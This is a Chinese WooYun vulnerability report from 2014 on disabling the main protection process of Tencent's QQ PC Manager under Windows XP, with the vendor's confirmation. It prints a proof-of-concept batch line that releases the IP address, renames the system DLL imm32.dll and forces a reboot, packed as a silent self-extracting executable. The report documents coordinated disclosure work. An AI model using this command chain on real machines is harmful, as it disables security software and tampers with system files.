漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083359
漏洞标题：XP系统下轻松干掉QQ电脑管家主防(不止QQ管家哦)
相关厂商：腾讯
漏洞作者： zhuixing
提交时间：2014-12-10 10:36
修复时间：2015-03-10 10:38
公开时间：2015-03-10 10:38
漏洞类型：拒绝服务
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-12-10： 细节已通知厂商并且等待厂商处理中
2014-12-10： 厂商已经确认，细节仅向厂商公开
2014-12-13： 细节向第三方安全合作伙伴开放
2015-02-03： 细节向核心白帽子及相关领域专家公开
2015-02-13： 细节向普通白帽子公开
2015-02-23： 细节向实习白帽子公开
2015-03-10： 细节向公众公开
简要描述：
不需要额外和复杂的程序代码，只用系统自身的功能就使QQ电脑管家主进程无法启动。
详细说明：
参测软件：QQ电脑管家XP版最新官方下载安装包
测试环境：VMware Workstation 10.0.3，Windows XP SP3 Pro，DHCP自动获取IP上网。
测试方法：QQ电脑管家以默认方式安装，开启和升级所有防护+引擎，重启系统然后运行漏洞测试代码。
安装包数字签名图
漏洞测试视频下载地址http://pan.baidu.com/s/1mgzabxe，提取码：wtjz，解压密码:qqpoc123，为了达到最佳观看效果，请解压所有文件到同一目录下，打开qqpoc.html文件。
测试代码详细说明：
测试使用了一个批处理文件1.bat，下面是具体代码：
省略注释；
1.bat：
ipconfig /release #注释：用来释放ip，断开网络，使管家云防御失效# &shutdown -r -t 00&ren c:\windows\system32\imm32.dll imm32.dl #注释：修改imm32.dll文件名并重启系统#
用winrar把bat文件打包成一个exe可执行自解压文件后执行，自解压注释内容是：
;下面的注释包含自解压脚本命令
Path=.\poc
SavePath
Setup=1.bat
TempMode
Silent=1
Overwrite=1
测试总结：
1、简单的ipconfig /release就可以让管家云防护失效。
2、修改系统关键文件本来会触发Windows系统文件保护的提示，这里却被shutdown命令给绕过去了，并且结束了其他很多进程，可以被利用做很多事情。
3、漏洞测试成功使管家的主防进程qqpctray.exe无法启动。
4、此漏洞测试代码在同一系统下只能成功执行一次，再次执行就无效了？
漏洞证明：
漏洞测试视频下载地址http://pan.baidu.com/s/1mgzabxe，提取码：wtjz，解压密码:qqpoc123，为了达到最佳观看效果，请解压所有文件到同一目录下，打开qqpoc.html文件。
修复方案：
事情并不需要老是想得太复杂。
版权声明：转载请注明来源 zhuixing@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-12-10 15:03
厂商回复：
非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理
最新状态：
暂无